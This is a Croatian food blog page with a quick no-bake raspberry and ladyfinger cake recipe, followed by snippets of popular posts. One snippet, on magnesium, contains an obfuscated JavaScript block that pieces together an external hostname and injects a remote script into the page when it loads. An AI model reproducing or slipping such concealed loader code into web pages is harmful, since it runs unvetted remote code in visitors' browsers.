BRZI LJETNI KOLAČ S MALINAMA I PIŠKOTAMA





Brzi ljetni kolač s malinama i piškotama 




Ljetna druženja i obiteljski vikendi nezamislivi su bez osvježavajućeg slatkog završetka. Savršen odgovor na ljetne gastro izazove je lagani kremasti desert koji je zbog svog efektnog izgleda i osvježavajućeg okusa dobio titulu prave ledene kraljice stola. Ovaj kolač s malinama i piškotama ne zahtijeva ni minutu pečenja, priprema se u jednoj posudi, a pruža savršen balans kiselkastog voća i bogate, hladne kreme.





Brzi ljetni kolač s malinama i piškotama 



Sastojci:

  • 1 veliko pakiranje piškota (oko 200 g)
  • 300 g svježih malina (dio možete ostaviti za dekoraciju)
  • 500 g mascarpone sira ili krem sira
  • 250 ml slatkog vrhnja za šlag
  • 80 g šećera u prahu (ili meda, po želji)
  • 1 vrećica vanilin šećera
  • Malo mlijeka ili soka od naranče za natapanje piškota




Priprema: 


  1. Priprema podloge: Na dno četvrtaste staklene ili keramičke posude posložite red piškota koje ste prethodno samo nakratko provukli kroz mlako mlijeko ili sok od naranče. Pazite da ih ne natopite previše kako kolač ne bi izgubio strukturu.
  2. Miksanje lagane kreme: U dubokoj zdjeli čvrsto umutite slatko vrhnje u šlag.
    U drugoj posudi kratko izmiksajte mascarpone sa šećerom u prahu i vanilin šećerom. Špatulom lagano, u nekoliko navrata, spojite šlag s krem sirom dok ne dobijete potpuno glatku, bogatu kremu.
  3. Slaganje slojeva: Polovicu kreme ravnomjerno premažite preko posloženih piškota. Po kremi bogato rasporedite svježe maline, lagano ih utiskujući u smjesu. Preko voća nanesite ostatak kreme i zagladite površinu.
  4. Hlađenje i serviranje: Kolač ukrasite preostalim malinama, listićima svježe mente ili s malo naribane bijele čokolade. Stavite ga u hladnjak na nekoliko sati (idealno preko noći) kako bi se sve teksture savršeno povezale i dobro rashladile prije rezanja na kocke.
Kombinacija jarkih, kiselkastih malina i nježne, hladne kreme unijet će vizualni minimalizam na vaš stol, a vaši će gosti dobiti vrhunsko ljetno osvježenje zbog kojeg niste morali provesti sate u užarenoj kuhinji.





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više